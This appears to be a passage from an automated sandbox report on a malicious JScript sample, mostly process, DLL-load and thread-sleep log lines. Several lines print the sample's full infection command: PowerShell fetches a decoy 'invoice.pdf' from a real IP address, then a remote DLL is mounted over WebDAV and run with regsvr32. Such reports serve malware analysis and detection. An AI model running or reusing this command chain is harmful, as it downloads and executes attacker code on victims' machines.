Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\1752.js.csv");ITextStream.WriteLine(" entry:7823 f:lxdopq");ITextStream.WriteLine(" exec:2 f:lxdopq");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4353			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5444			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7492	Thread sleep count: 4353 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7496	Thread sleep count: 5444 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7568	Thread sleep time: -15679732462653109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7600	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7476	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7612	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7796	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7448	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000006.00000003.1765299877.0000023D0F2A9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2996634694.0000023A7E456000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2996592539.0000023A7E443000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2995238634.0000023A78E2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000002.1767554646.0000023D0F250000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll
